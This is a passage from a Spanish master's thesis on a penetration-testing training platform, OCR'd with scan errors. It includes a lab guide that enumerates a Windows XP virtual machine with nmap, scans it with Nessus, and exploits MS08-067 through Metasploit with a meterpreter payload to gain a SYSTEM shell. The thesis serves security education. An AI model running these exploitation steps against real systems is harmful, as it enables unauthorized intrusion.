mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using ——system-
dns or specify valid servers with ——dns—servers

Nmap scan report for 192.168.10.1

Host iz up (0.00036s latency).

MAC Address: 08:00:27:5B:C6:A2 (Dracle VirtwalBox virtual NIC)

Nmap scan report for 192.165.10.3

Host is up (0.00025s latency).

MAC Address: 08:00:27:FC:E0:BF (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.10.2

Host is up.

Nmap done: 256 IP addresses (3 hosts up) scanmed in 2.01 seconds
horus@horus “> _

Imagen 4

La direccion IPv4 192.168.10.2 es nuestra direccion IP por tanto se descarta
cualquier analisis hacia la misma. Los demas dispositivos (192.168.10.1 y
192.168.10.3) tienen una direccion MAC perteneciente a Oracle VirtualBox. Esto es
normal ya que estos dispositivos son maquinas virtuales.
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El dispositivo cuya direccion es 192.168.10.1, es una maquina virtual que sirve la
actual guia y hace parte de nuestras herramientas para desarrollar el presente test
de intrusion. Por tanto se descarta cualquier ataque hacia la misma porque seria un
ataque hacia nosotros mismos. Sabiendo esto, se opta por hacer un analisis a la
Gnica maquina que queda la cual es: 192.168.10.3. Esto se hace con el siguiente
comando:

horus@horus ~> sudo nmap -sS -sV 192.168.10.3

Con el parametro -sS se escanea todos los puertos TCP de la maquina victima.

Con el parametro -sV se identifica la version de los servicios de la maquina victima.
Los resultados de la ejecucion de este comando sobre la direccion IPv4
192.168.10.3 se muestran en la (Imagen 5).

Mot shoun: 991 ed ports

PORT STATE SERVICE UERSION

Zlstcp  open fip Microsoft ftpd

Z5-tcp  open smip Microsoft ESMTP 6.0.2600.2180

80-tcp open http Microsoft IIS httpd 5.1

135-tcp open msrpc Microsoft Windows RPC

139-tcp open netbios-ssn Microsoft Windows netbios-ssn

443-tcp open htips?

445-tcp open microsoft-ds Microsoft Windows XP microsoft-ds
1025-tcp open msrpc Microsoft Windows RPC

1433/tcp open ms-sql-s Microsoft SQL Server 2005 9.00.1399: RTH
MAC Address: 08:00:27:0B:D4:0A (Oracle VirtualBox virtual NIC)
Service Info: Host: victimaxp3ZspZ: 0Ss: Windows, Windows XP: CPE: cpe:-o:microsoft:windous, cpe:/o:
microsoft :windows_xp

Service detection performed. Please report any incorrect results at https: /nmap.org/submits .
Mmap done: 1 IP address (1 host up) scammed in 8.88 seconds

Imagen 5

Ahora se sabe que la maguina victima tiene por sistema operativo Windows XP y
gue este tiene alojados unos servicios de bases de datos con Microsoft SQL Server
en su version 2005.

También tiene un servidor http internet information services con version 5.1.

Tiene habilitado un servidor FTP y los servicios de netbios.

El nombre del host de la victima es: victimaxp32sp2.

Con esta informacion ya se conocen los servicios que se desean atacar. Aunque se
conozca el objetivo, es necesario conocer informacion mas especifica como por

ejemplo la version del sistema operativo. Para esto es necesario ejecutar el siguiente
comando:

horus@horus ~> sudo nmap -sS -p80 -0 192.168.10.3

El parametro -p80 es necesario para hacer el scanning sobre el puerto 80. Se podria
colocar cualquier otro puerto pero en este caso se selecciona el puerto 80 debido a
que la maquina victima aloja un servicio http.
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La (Imagen 6) muestra el resultado de la ejecucion del anterior comando.

Host is up (0.00058s latency).

PORT STATE SERVICE

80-tcp open http

MAC Address: 08:00:27:0B:D4:0a (Dracle VirtualBox virtual NIC)

Warning: 0SScan results may be unreliable because we could not find at least 1 open and 1 closed por
t

Device type: general purpose

Rumming: Hicrosoft Windows XF1Z2003

05 CPE: cpe:/o:microsoft:uindows_xp::spZ:professional cpe:/o:microsoft:windows_server_Z003
03 details: Microsoft Windows XP Professional SPZ or Windows Server 2003

Network Distance: 1 hop

Imagen 6

Con la informacion recogida hasta el momento, ya es posible indagar sobre los
posibles servicios vulnerables que se pueden atacar.

En primer lugar, Windows XP dejo de recibir actualizaciones desde hace algun
tiempo.

En segundo lugar las versiones de los servicios tanto de HTTP como de Microsoft
SQL server también estan desfasadas.

Es posible buscar informacion sobre las vulnerabilidades de estos servicios
obsoletos en la web, sin embargo existe una herramienta que automatiza la
busqueda de vulnerabilidades.

Esta herramienta se llama NESSUS y se usa en la fase Analisis de Vulnerabilidades.
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FASE ANALISIS DE VULNERABILIDADES

OBJETIVO: Identificar las vulnerabilidades sobre la maquina victima usando
NESSUS.

El servicio NESSUS esté instalado sobre la maquina 192.168.10.1.

Se debe ingresar a NESSUS colocando la siguiente direccion en el navegador
(NOTAR que el protocolo es HTTPS y que el puerto es 8834):

| https://192.168.10.1:8834 |

Cuando se ingrese el navegador mostrara una advertencia (Ver Imagen 7).

Privacy error x

&« C | A Notsecure | b#yf5//192.168.10.1:8834

A

Your connection is not private

Attackers might be trying to steal your information from 192.168.10.1
(for example, passwords, messages, or credit cards).
MNET:ERR_CERT_AUTHORITY_INVALID

- Automatically send some system information and page content to Google to

help detect dangerous apps and sites. Privacy policy

HIDE ADVANCED! Back to safety

This server could not prove that it is 192.168.10.1; its security
certificate is not trusted by your computer's operating system. This may
be caused by a misconfiguration or an attacker intercepting your
connection. Learn more.

Proceed to 192.168.10.1 {unsafe)

Imagen 7

Es normal que el navegador en respuesta arroje una advertencia sobre el certificado
de seguridad. Se tiene que omitir esta advertencia ya que para la practica no es
necesario tener este certificado de seguridad.

Dar click en entrar de todos modos o Proceed to 192.168.10.1 (unsafe) y ahora es
necesario esperar mientras se cargan todos los plugins.
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El tiempo de espera de carga de plugins es de 3 a 5 minutos. Una vez se carguen
todos los plugins, es necesario identificarse para acceder a NESSUS.

La Imagen 8 muestra el formulario de acceso a NESSUS. Las credenciales son:

Usuario | horus
Password | horus

Nessus

home

horus

Imagen 8

NESSUS pertenece a la empresa tenable. La actual version tiene limitaciones sin
embargo para el presente trabajo es mas que suficiente. La version de pago viene
sin restricciones.

Con NESSUS es posible escanear vulnerabilidades a diversos sistemas operativos.

A continuacién se realiza un scanning de vulnerabilidades sobre la maquina victima
192.168.10.3.

Una vez dentro de NESSUS damos click en el botdbn new scan (Ver Imagen 9) y en
las opciones de Scanner Templates seleccionamos Advanced Scan (Ver Imagen 10).
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Policies

LA
[

My Scans _ )
This folder is empty.

Trash

All Scans

Mew Folder

Imagen 9

Policies

Scan Library

All Templates Scanner

o N . Qo

Advanced Scan Audit Cloud Infrastructure Badlock Detection Bash Shellshock Detection

M il <Y @)

Basic Network Scan Credentialed Patch Audit DROWN Detection Host Discovery

Imagen 10

La opcién Advance Scan permite configurar NESSUS para hacer un scanning de
vulnerabilidades personalizado.

La Imagen 11 muestra como debe ser diligenciado el formulario para realizar el
scanning de vulnerabilidades.
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New Scan f Advan 'CECi >Cah
Scan Library > Settings Credentials Compliance Plugins
BASIC v Genera
General
chedule Mame SCAN XP

Motifications o

Description Scanning de vulnerabilidades a maquina victima
DISCOVERY
ASSESSMENT

lder My Scans -

REPORT Folder !
ADVANCED ] ) )

Targets 92.168.10.3

Upload Targets Add File

Save - Cancel

Imagen 11

En el campo Targets (Ver Imagen 11) es posible colocar mas de un host. En este
caso se coloca la direccion 192.168.10.3 ya que es la direccion IPv4 de la maquina
victima.

Ahora es necesario ir a la pestafia Plugins y habilitar solo los plugins que se ajusten
a los resultados obtenidos en el proceso de enumeracion realizado anteriormente
contra la maquina victima 192.168.10.3 (Ver Imagen 12).

En este caso la maquina victima tiene un sistema operativo tipo Windows por tanto
se deshabilitan plugins relacionados con AMAZON, LINUX, CISCO, dispositivos
moviles entre otros. Pero se habilitan plugins relacionados con backdoors, bases de
datos, denegacion de servicio, obtener una shell remotamente, servicios web y
cualquier plugin relacionado con sistemas operativos Windows. La descripcion de
cada uno de los plugins se encuentra en la parte derecha de la aplicacion web de
NESSUS.

Después de habilitar los plugins necesarios y deshabilitar los plugins innecasarios,
dar click en el botén Save en la parte inferior de la aplicacién web para guardar la
configuracion y después dar click en Scans en la parte superior de la aplicacion web
de NESSUS (Ver Imagen 12).
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Policies

New Scan / Advanced Scan Disable All | Enable Al -
Scan Library > Settings Credentials Compliance Plugins

Show Enabled | Show All

Status Plugin Family = Total Status Plugin Name Plugin ID

| DISABLEL AlX Local Security Checks 11365 4553 Parasite Mothership Backdoor Detect.. 11187

| DisABLEC Amazon Linux Local Security Checks 854 Agobot.FO Backdoor Detection 12128
Backdoors 110 Alcatel OmniSwitch 7700,/7800 Switches Ba.. 11170

| DisABLEC CentOS Local Security Checks 2403 alya.cgi CGl Backdoor Detection 11118
|f CGl abuses 3627 Arugizer Backdoor Detection 45005

| DISABLEC CGl abuses : XSS 640 ASUS Router ‘infosvr’ Remote Command E... 80518

| DisaBLEC CISCO 823 . BackOrifice Software Detection 10024 .

Imagen 12

Con lo anterior configurado, ahora es posible realizar el scanning de
vulnerabilidades.

En la Imagen 13 se muestra el escaner de nombre SCAN XP listo para ser ejecutado.
Para Iniciar el scanning de vulnerabilidades dar click en el icono de reproducir en la
parte derecha del escaner SCAN XP. Una vez iniciado el scanning, se muestra el
estado del mismo (Ver Imagen 14).

Policies
Scans Upload
My Scans Name Schedule Last Modified &
Trash SCAN XP On Demand = NA
All Scans
Imagen 13
c -
My Scans
Mame Schedule Last Modified a

SCAN XP On Demand & 11:15PM

Imagen 14

Posteriormente NESSUS identificara todas las posibles vulnerabilidades en el
sistema victima.
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NESSUS clasificara las vulnerabilidades segun su criticidad en bajas, medias, altas y
criticas. Para ver el resultado de identificacion de vulnerabilidades, dar click en el
escaner de nombre SCAN XP (Ver Imagen 15).

My Scans
MName Schedule Last Modified

SCAN XP On Demand + 1117 PM o X

Imagen 15

A continuacién NESSUS mostrara las vulnerabilidades encontradas (Ver Imagen 16).
Los resultados varian segun los plugins habilitados y deshabilitados anteriormente
(Ver Imagen 12).

Policies

cr

SCAN XP Configure Audit Trail Launch Export v

Scans > Hosts Vulnerabilities Remediations History

Host Vulnerabilities « Scan Details

Status: Completed
Policy: Advanced Scan
Scanner: Local Scanner
Folder: My Scans
Start: Today at 11:15 PM
Endk: Today at 11:17 PM
Elapsed: 2 minutes
Targets: 192.168.10.3

Vulnerabilities

@ Critica
. High
Medium
w

Imagen 16

Dando click en la pestafia de Vulnerabilidades, se muestran todas las
vulnerabilidades reportadas por NESSUS. Algunas de estas vulnerabilidades es
posibles explotarlas con metasploit. Sin embargo es recomendable no limitarse a los
informes arrojados por NESSUS. Se puede obtener informacion de las
vulnerabilidades de otras fuentes.

A continuacién se procede a usar la herramienta metasploit para explotar las
posibles vulnerabilidades que tenga el sistema victima.
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FASE EXPLOTACION

OBJETIVO: Explotar las vulnerabilidades sobre la maquina victima usando
Metasploit.

Metasploit es un framework desarrollado con RUBY que permite explotar diferentes
vulnerabilidades en diversos sistemas operativos. Se puede usar en modo consola o
como un aplicativo web. En este caso se usara por medio de consola. En la consola
del usuario horus, ejecutar el siguiente comando:

horus@horus ~> msfconsole

Es necesario esperar un tiempo corto mientras se cargan todos los mdédulos de
metasploit. Una vez dentro de metasploit, es necesario conectarse a la base datos
preconfigurada donde se almacenan los datos relacionados con cada ataque. Para
esto se ejecuta el siguiente comando:

msf > db_connect horus:horus@192.168.10.1/msf

El comando db_connect conecta a una base de datos tipo postgresql previamente
configurada con usuario horus, clave horus y la base de datos de nombre msf. La
direcciéon 192.168.10.1 es donde esta almacenada dicha base de datos. Es
importante tener conexién a una base de datos ya que el rendimiento de trabajo del
framework incrementa considerablemente.

Para estar seguro que no hubo ningln inconveniente al conectarse a dicha base de
datos, se ejecuta el siguiente comando:

msf > db_status

El resultado del anterior comando refleja si la conexion a la base de datos postgresq|l
fue exitosa o no lo fue.

La vulnerabilidad MS08-67 es una de las vulnerabilidades mas conocidas para
sistemas Windows server 2003 y Windows XP. Esta vulnerabilidad permite el acceso
remoto no autorizado de una consola del sistema operativo vulnerable.

Para buscar el exploit, se ejecuta el siguiente comando:

msf > search ms©8-067

El comando search muestra la ruta del exploit el cual contiene el codigo para
explotar la vulnerabilidad del sistema victima. La (Imagen 17) muestra el resultado de
la ejecucion del comando search.

Matching Modules

Disclosure Date Rank Description

exploit windows/snb ns08_067_netapi 2008-10-28 great MS0B-067 Microsoft Server Service Re
lative Path Stack Corruption

Imagen 17
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Para implementar el exploit se usa el comando use. Como parametro del comando
use, se debe ingresar la ruta completa de la ubicacion del exploit la cual fue
mostrada con la ejecucion del comando search.

El comando use se usa de la siguiente forma:

msf > use exploit/windows/smb/ms@8 067 netapi

Si el comando use fue digitado de la forma correcta, ahora en la consola de
comandos debera aparecer lo siguiente:

msf exploit(ms08 067 netapi) >

A continuacion se ejecuta el comando show options.

mst exploit(ms@8 067 netapi) > show options

El comando show options muestra las opciones o los pardmetros que se deben
ingresar para ejecutar el exploit. Es normal ejecutarlo varias veces para corroborar
gue se tiene una buena configuracion.

Una de estas opciones o parametros es especificar la direccion IPv4 del sistema
victima. Se especifica esta direccion con el comando set RHOST. En este caso
acorde a la fase enumeracion, el objetivo tiene como direccion IP 192.168.10.3. Por
tanto se especifica esta direccion en RHOST asi:

mst exploit(ms@8 067 netapi) > set RHOST 192.168.10.3

A continuacion se vuelve a ejecutar el comando show options para verificar que el
cbdigo exploit si recibié como parametro la direccién IPv4 de la maquina victima. La
Imagen 18 muestra el resultado de ejecutar los anteriores comandos.

> use exploitrwindows/smb/ms08_067_netapi “r

exploit(nz08_067_netapil) > =set RHOST 192.168.10.3%r
RHOST =»> 192.168.10.3

exploit(nz08_067_netapil) > show optionssr

Module options (exploitrwindows,/smbsms08_067_netapil:

Name Current Setting Required Description

RHOST 192.168.10.3 The target address
RPORT 445 yes The SMB service port (TCP)
SMBEPIPE BROWSER yes The pipe name to use (BROWSER, SRUSUC)

Exploit target:

Id HName

0 rfAutomatic Targeting

Imagen 18
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La Imagen 18 también muestra el servicio o puesto a explotar del sistema victima. En
este caso es el puerto 445 el cual pertenece al servicio SMB de Windows.

El comando show targets lista los sistemas operativos a los cuales se puede usar el
exploit.

msf(ms@8 067 netapi) > show targets

Asi mismo es posible saber informacion de la vulnerabilidad la cual sera explotada.
Esto se realiza con el comando info.

msf(ms08 067 netapi) > info

Ya sabiendo la informacion de la vulnerabilidad y los sistemas a los cuales es
posible ejecutar el ataque, es momento de establecer que se quiere obtener con la
explotacion de esta vulnerabilidad. A esto se le llama establecer un codigo Payload.
Existen diferentes tipos de Payload. Algunos Payload realizan denegacion de
servicios. Otros permiten obtener una consola remota sin autorizacion.

En este caso se quiere obtener una consola remota del equipo victima con direccion
IPv4 192.168.10.3. El comando set payload permite establecer el payload. Digitar el
siguiente comando:

msf(ms@8 067 netapi) > set payload windows/meterpreter/bind_tcp
El parametro de entraba del comando set payload es la ubicacion del Payload.

Existen muchos mas Payloads para cualquier exploit. Para cada exploit existe un
Payload. Dependiendo de lo que se le quiera hacer a la maquina victima, se escoge
el Payload adecuado. En esta caso el Payload bind_tcp permite obtener una consola
remota de la maquina victima sin autorizacion. Ejecutar nuevamente el comando
show options para ver la configuracion antes de ejecutar el ataque (Ver Imagen 19).

exploit(ms08_067_netapil) > show optionshr
Module options (exploitrwindows-smb/ms08_067_netapi):

Name Current Setting Required Description

RHOST 192.168.10.3 The target address
RPORT 445 yes The SMB service port (TCP)
SMEFIPE BROWSER yes The pipe name to use (BROWSER, 3RVSUC)

Payload options (windows/meterpreter~bind_tcpl:

Name Current Setting BRequired Descriptiom

EXITFUNC thread Exit technique (Accepted: ’’, seh, thread, process, none)
LPORT 4444 yes The listen port
RHOST 192.168.10.3 no The target address

Exploit target:

Id Name

0 Automatic Targeting

Imagen 19

75
Disefio e implementacion de sistema informético para entrenamiento en test de intrusion



Julian Camilo Fonseca Romero Master Universitario en Ingenieria de Software y
Sistemas informaticos

Finalmente ejecutar el exploit con el comando exploit.
msf(ms08 067 netapi) > exploit

La Imagen 20 muestra finalmente como se obtuvo acceso remoto no autorizado al
sistema victima. En este caso una consola de comandos de Windows.

exploit(ns08_067_netapi) > exploitsr

Started bind handler

192.168.10.3:445 - fAutomatically detecting the target...

192.168.10.3:445 - Fingerprint: Windows XP - Service Pack 2 - lang:Spanish
192.168.10.3:445 - Selected Target: Windows XP 3PZ Spanish (NX)

192.168.10.3:445 - Attempting to trigger the wulnerability...

Sending stage (957487 bytes) to 192.168.10.3

Meterpreter session 1 opened (192.168.10.2:44571 -> 192.168.10.3:4444) at 2017-06-22 02:03:24 -0
500

> pudsr
C :5\WINDOWSN=ysten32

Imagen 20

Ahora es posible tener acceso a los documentos, archivos de configuracion o
ingresar a informacion clasificada. Esto se hace por medio de comandos de consola
de Windows. La consola meterpreter de metasploit permite hacer mas cosas. Pero
salen de los objetivos de la actual guia de desarrollo de test de intrusion.

Para volver a msfconsole, ejecutar el comando background.

meterpreter > background

Para mostrar el nUmero de la sesion guardada, ejecutar el comando sessions (Ver
Imagen 21).

msf(ms08 067 netapi) > sessions

exploit(ns08_067 _netapi) > sessions\r

Active sessions

Information Comection

neterpreter x86-/uwindows NT AUTHORITYNSYSTEM @ VICTIMAXP3ZSPZ 192.168.10.2:44571 -> 192.168.1
0.3:4444 (192.168.10.3)

Imagen 21

Para retomar la sesion, usar el comando sessions con parametro i y el nimero de la
sesion guardada.

msf(ms08 067 netapi) > sessions -i 1

De esta forma se retoma la sesion guardada anteriormente. Se recomienda navegar
por los directorios de Windows. Ir a la carpeta de documentos de los usuarios.
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La consola meterpreter no permite autocompletar con la tecla tab, sin embargo para
acceder a directorios que contienen espacios en sus nombres, es necesario usar el
simbolo backslash (\). Por ejemplo para ir “Documents and Settings” seria asi:

meterpreter > cd Documents\ and\ Settings

La Imagen 22 muestra el listado de archivos de la carpeta Documents and Settings
de la maquina victima.

> dirsr
Listing: C:“\Documeni=z and Settings

Type Last modified Name

40777 A TUX KX
40777 A TUX KX
40777 A TUX KX
40777 A TUX KX
40777 A TUX KX
40777 A TUX KX

dir
dir
dir
dir
dir
dir

2017-05-22 20
2017-05-22 20
2017-05-22 20
2017-05-22 20
2017-05-22 22
2017-05-22 20

All Users
Default User
Local3eruvice
Netuork3eruvice
VICTIMAXP3ZSPZ
victima

Imagen 22

Con eso finaliza el test de intrusion.

CONCLUSIONES

Con la presente guia se obtuvieron los conocimientos basicos para realizar un test
de intrusion. Es recomendable no confiarse de las vulnerabilidades reportadas por
un escaner de vulnerabilidades. En este caso, NESSUS no report6 la vulnerabilidad
ms08_067_netapi y aun asi el sistema es vulnerable. De ser necesario se sugiere el
uso de otro escaner como Nexpose u Openvas. Otra practica es investigar posibles
vulnerabilidades en otras fuentes de informacion como internet. A veces se
encuentran vulnerabilidades de tipo dia Cero. Sea como sea, de nada serviria
encontrar dichas vulnerabilidades sin antes conocer los equipos en el sistema. Es
por eso que la fase de enumeracion es considerada la mas importante ya que sin el
desarrollo de la misma estariamos ciegos en el sistema.
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HISTORIAL DE VERSIONES

Version 0.5.0

Primera version de la guia. Se describen las fases de enumeracion, analisis de
vulnerabilidades y conclusiones.

Version 0.5.6

Se describe con més detalle la fase previa al desarrollo del test de intrusion donde
se configura el direccionamiento estatico en la maquina del usuario para tener
acceso al escenario virtual.

Se actualizan referencias cruzadas de las imagenes de la guia.

Se cambia el nombre del rétulo ilustracion a nombre imagen.

Se describe con mas detalle la fase de analisis de vulnerabilidades al momento de
usar y configurar NESSUS.

Se describe con mas detalle la fase de explotacion al momento de usar y configurar
metasploit.

Se aumenta el tiempo de desarrollo de la practica de 30 a 45 minutos.
Versiéon 0.5.8
Se borra la seccién fase previa y se coloca en otra guia.

Se actualizan los campos de direccionamiento IPv4 como variables debido a que en
la aplicacion web esta varian acorde al usuario y el universo en el que se encuentre.

78
Disefio e implementacién de sistema informatico para entrenamiento en test de intrusion



Julian Camilo Fonseca Romero Master Universitario en Ingenieria de Software y
Sistemas informaticos

Articulo

Con el pasar del tiempo y el avance acelerado de la tecnologia a nivel mundial han surgido
multiples amenazas que comprometen la confidencialidad, integridad y disponibilidad de los
sistemas de informacion. Los esfuerzos para capacitar a la mayoria de personas en
seguridad de la informatica son clave para garantizar que los activos de informacién de las
organizaciones y la informacion personal estén seguros, libres de toda amenaza y en lo
posible sin vulnerabilidades. Los métodos tradicionales de capacitacion en ciberseguridad
ayudan en gran medida pero en algunos casos no es suficiente. Algunos docentes no
cuentan con el tiempo suficiente para organizar eficientemente los recursos al dar una clase
de hacking ético. Algunos alumnos perciben que los conocimientos adquiridos no llenan sus
expectativas y se sienten inseguros si realizan alguna auditoria real de seguridad informatica
en un ambiente en produccién. De esta manera surge la idea de investigar en el disefio e

implementacién de un sistema informatico para aprender a ejecutar un test de intrusion.

En el estado del arte se descubre que existen algunos simuladores en seguridad informéatica
que personas e instituciones han desarrollado en el mundo como MAADNET el cual fue
desarrollado en los departamentos de ciencias computacionales e ingenieria eléctrica de la
academia militar de Estados Unidos. En este simulador los usuarios configuran una red
acorde a un escenario para que luego esta sea recibida por un servidor. Luego esta red es
sometida a diferentes eventos para probar que tan segura es. El simulador fue disefiado
para ser usado solo por cadetes de la academia militar de Estados Unidos. La herramienta
fue construida usando programacién orientada a objetos y applets de java. El cliente puede
construir su red usando switches, routers, workstations y access point. Otro ejemplo de
simulador es NeSSi2 el cual fue desarrollado en los laboratorios de DAI. Es un simulador de
redes abierto con licencia apache. Tiene caracteristicas como generacion automatizada de
ataques, analisis de trafico e interfaz de soporte para deteccion de mdltiples algoritmos.
Contiene extensiones para el simulador divididas a nivel de red, aplicacion y dispositivo.
NeSSi2 esta compuesto por un simulador en el back-end, una interfaz grafica en el front-end

y una base de datos.
Los requisitos que debe cumplir el sistema informatico son:

e Las personas en proceso de capacitacion deben poder realizar un test de intrusion
de forma practica y guiada en una plataforma previamente configurada o adaptada y
lista para ser usada.

e Se deben tener una guia de aprendizaje depurada para que las personas en proceso
de capacitacion sigan indicaciones previamente analizadas sin correr riesgo de
afectar de ninguna forma cualquier sistema informético que esté fuera del sistema.
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e Se deben tener roles de usuario en la plataforma que diferencien a las personas en
capacitacion y a los administradores del sistema. Esto con el fin de garantizar
estabilidad, disponibilidad e integridad de la plataforma.

e Se debe tener algun sistema de gestion de la plataforma que permita a los
administradores del sistema tener control sobre la misma.

e Las tecnologias a usar en la plataforma deben ser libres para que cualquier persona
haga uso de estas de forma tranquila y legal.

e Para mostrar la guia practica se deben usar tecnologias web dinamicas que permitan
interaccién con el usuario.

e Para procesos de simulacion se deben usar tecnologias de virtualizacién.

o Se debe evitar en la medida que sea posible cualquier instalacion de software en la
maquina del usuario en capacitacion. El uso y la interaccion en la plataforma debe
limitarse a lo que permita un navegador web.

e Se debe tener y seguir una metodologia de uso de la plataforma tanto para los
usuarios en capacitacibn como para el administrador.

El sistema informatico tiene una arquitectura modular compuesta por 4 mddulos. El primer
médulo tiene por nombre Aplicacién y contiene las tecnologias web del lado cliente y del
servidor que actian como interfaz entre el usuario y la plataforma. El segundo médulo de
nombre Simulador contiene las tecnologias de virtualizacion que permiten crear los
escenarios y ambientes virtuales y como configurarlos para desarrollar el test de intrusion. El
tercer moédulo nombrado Practicas define las reglas para la creacion de guias con el fin de
gue los usuarios no tengan problemas en entenderlas y desarrollarlas ya sea en el proceso
de capacitacion en ciberseguridad o gestiéon de la plataforma. El cuarto médulo de nombre
Infraestructura contiene el hardware y el software para que los médulos Aplicacion y
Simulador funcionen sin problemas. Los médulos tienen relaciones de dependencia y estas

se representan a través de dos ecuaciones.
La ecuacion ISSIS, representa el sistema informatico en funcién de la infraestructura.

La ecuacion ISSISp representa el sistema informatico en funcién de las practicas.

ISSIS; = Agy + Sen +1
ISSISp = Ay + S(p) + P

ISSIS, significa que el modulo A (Aplicacién), moédulo S (Simulador) estan en funcion de la

infraestructura del sistema y al mismo tiempo se integran al modulo | (Infraestructura).

ISSIS, significa que el moédulo A (Aplicacion), médulo S (Simulador) estan en funcion de las

practicas y al mismo tiempo se integran al médulo P (Practicas).

En resumen ISSIS, determina que instalar mientras que ISSISp determina como configurar

lo instalado.
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Se proponen 3 roles para trabajar en el sistema. Estos roles son: Arquitecto,
Administrador y Usuario. Cada rol tiene funciones, limitaciones y privilegios sobre los
cuatro médulos Infraestructura, Simulador, Aplicacion y Précticas. A continuacion se explica
en detalle:

e El Arquitecto se encarga de la administracion y configuracion y mantenimiento de la
infraestructura donde reside el sistema. Instala y configura el software y hardware
minimo necesario para que los médulos Simulador y Aplicacion funcionen sin
problemas.

e EI Administrador gestiona mas no modifica los médulos de Aplicacion y
Simulador. Disefia y mantiene la guia practica del test de intrusién.

e El Usuario es cualquier persona que esté en capacitacion. Se considera que dicha
persona tiene conocimientos limitados y por tanto es necesario asesorarla y guiarla.

La tabla a continuacién muestra los permisos de lectura y escritura segun los roles de los

usuarios sobre los médulos.

Permisos de lectura y escritura segun roles de los usuarios

L: lectura Médulo Médulo Médulo Médulo
. Aplicacién Simulador Practicas Infraestructura
E: escritura
Arquitecto L/E L/E L L/E
Administrador L L L/E No aplica
Usuario L L L No aplica

Mdédulo A (Aplicacion): Este mddulo corresponde a las aplicaciones web presentes en el
sistema informético. La aplicacibn web muestra contenidos de las guias practicas a
desarrollar por el usuario y también muestra los contenidos de uso y gestidn del sistema. La
aplicaciones web son interfaces de comunicacién entre las personas y el sistema Al ser
aplicaciones web se pueden tratar como un software y por ello se aplica ingenieria de
software para garantizar que estas no tengan problemas como especificaciones incumplidas
o0 un software de baja calidad. El usuario en capacitaciéon solo tendra acceso a los

contenidos que detallan como ejecutar un test de intrusion.

Mdédulo S (Simulador): En este médulo se encuentran las tecnologias de virtualizacion que
permiten a los usuarios realizar (sin correr riesgos) procesos de enumeracion, analisis de
vulnerabilidades y explotacibn a una maquina vulnerable. El hypervisor seleccionado es
VirtualBox el cual puede configurarse y adaptarse segun las necesidades del sistema.

VirtualBox es libre y por tanto puede descargarse, instalarse y usarse libremente.
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Existe una aplicacion en PHP para trabajar con VirtualBox en un navegador web. Esta
aplicacion se llama phpVirtualBox. Esto es una ventaja ya que el administrador solo estaria
obligado a tener un navegador web y estar conectado a una intranet sin necesidad de
descargar o instalar software adicional para tener control sobre las maquinas virtuales. Se
requiere mantener una maquina virtual activa todo el tiempo, por cuanto en esta se aloja la
aplicacion web de practicas. Estd maquina virtual debe tener comunicacion con todas las
maquinas virtuales y con la maquina anfitriona del sistema, en la propuesta se denomina
con nombre clave OSIRIS. A continuacion se muestra la topologia de red de la maquina

fisica y el escenario virtual.

PLATAFORMA ENTRENAMIENTO EN CIBERSEGURIDAD

| 18515
MODULO SIMULADOR SRS A i
[

A
4—
4 pra— Arquitecto
R — )
Maquina fisica » |

MV servidor guias practicas | ~/ISSIS/www/appWebPracticas
~{0SIRIS/appWebPracticas

|
A

Usuario

Administrador

Yo i
»

MV Atacante MV Victima

En ISSIS en la ruta ~/ISSIS/www reside la aplicacion web de gestion del sistema. Dentro de
esta ruta se encuentra appWebPracticas. Los contenidos de la aplicacion web de gestién de
la plataforma pueden ser accedidos por el administrador pero este no puede modificarlos. El

tnico que puede modificar los contenidos es la persona con rol de Arquitecto.

Médulo P (Practicas): Las practicas son guias que describen el paso a paso a seguir para
aprender a realizar un test de intrusion. Estas guias deben estar cuidadosamente revisadas

antes de ser implementadas en la plataforma.
Los aspectos que deben cumplir las guias son:

e Fecha de entrega de la guia.

e Se debe indicar la version, el tiempo que toma desarrollarla y el nombre del autor de
la guia.

e Deben definir los objetivos de la guia, describir los pasos a seguir, listar y describir
las herramientas o el software a usar en el escenario.

e Deben tener contenidos actualizados segun las tecnologias o metodologias
existentes.

e Deben ser bien redactadas, entendibles y sin errores ortograficos.

e Deben tener ilustraciones cuando sea necesario.
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Modulo | (Infraestructura): El sistema operativo seleccionado para la infraestructura es
LINUX en cualquiera de sus distribuciones siempre y cuando dicha distribucion se pueda
adaptar y modificar sin demasiada dificultad a las necesidades de la plataforma. Esto incluye
instalar el software minimo necesario requerido por los modulos de la plataforma. EI modulo
Simulador y el médulo Aplicacion funcionan sin problemas en un ordenador que cuente con
los requisitos minimos de CPU, RAM, disco duro y tarjeta de red ya sea alambrica o
inaldmbrica. Para el médulo Aplicacion se instala el servidor web Apache con PHP, base de
datos mariadb, gestor web de bases de datos phpMyAdmin. Para el modulo Simulador se
instala Oracle VirtualBox como hypervisor para administracion y configuracion de las
maquinas virtuales. La aplicacion web phpVirtualBox para la gestion del hypervisor via web.
Para la administracién remota del sistema se instala openSSH el cual permite obtener una
consola remota de la maquina fisica con su contenido encriptado. Las maquinas virtuales
deben tener instalado el software nombrado y descrito en las guias del médulo Préacticas. A

continuacion se muestra la infraestructura del sistema informatico.

PLATAFORMA ENTRENAMIENTO EN CIBERSEGURIDAD

PR | == q Base de datos de Plataforma

SIMULADOR .

MV OSIRIS 1 csic
APLICACION

Aplicacidn web : Gestion de plataforma

Aplicacion web : Guias Practicas

__We
BLE
i g\:\JUSUBI’DS

La implementacion del sistema se llevo a cabo instalando todo el software requerido por los

Administrador

mobdulos en una maquina con sistema operativo LINUX. Una vez se tenian todas las
herramientas listas y configuradas, se procedio a aplicar ingenieria de software para obtener
la aplicacion web. Se siguieron las fases de andlisis, disefio, implementacion y pruebas. En
la fase de analisis se establecieron los requisitos que debian cumplir la aplicacion por tanto
se hicieron casos de uso. En la fase de disefio se realiz6 un diagrama de actividad el cual
muestra el comportamiento dinAmico de la aplicacion web. Finalmente en la fase de

implementacion se explicé el cddigo fuente que trata la l6gica de negocio de la aplicacién.
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El sistema informatico se puso a prueba con una persona que actualmente estudia una
especializacion en seguridad de la informacion. El creador del sistema tenia doble rol como
Administrador y Arquitecto. En la siguiente imagen se muestra como las personas estaban

fisicamente conectadas en el sistema para evaluar y probar el mismo.

IS5IS
192.168.0.2

MODEM
192.168.0.1

ADMINISTRADOR USUARIO
192.168.0.11 192.168.0.12

Los resultados fueron positivos. El estudiante demuestra interés todo el tiempo y al final
sintié la eficiencia en aprender a realizar un test de intrusion en comparacioén con el método
tradicional donde la mayoria del tiempo se invierte en descargar, instalar y activar maquinas
virtuales y sistemas de hacking con muchas opciones a configurar. Con solo un usuario,
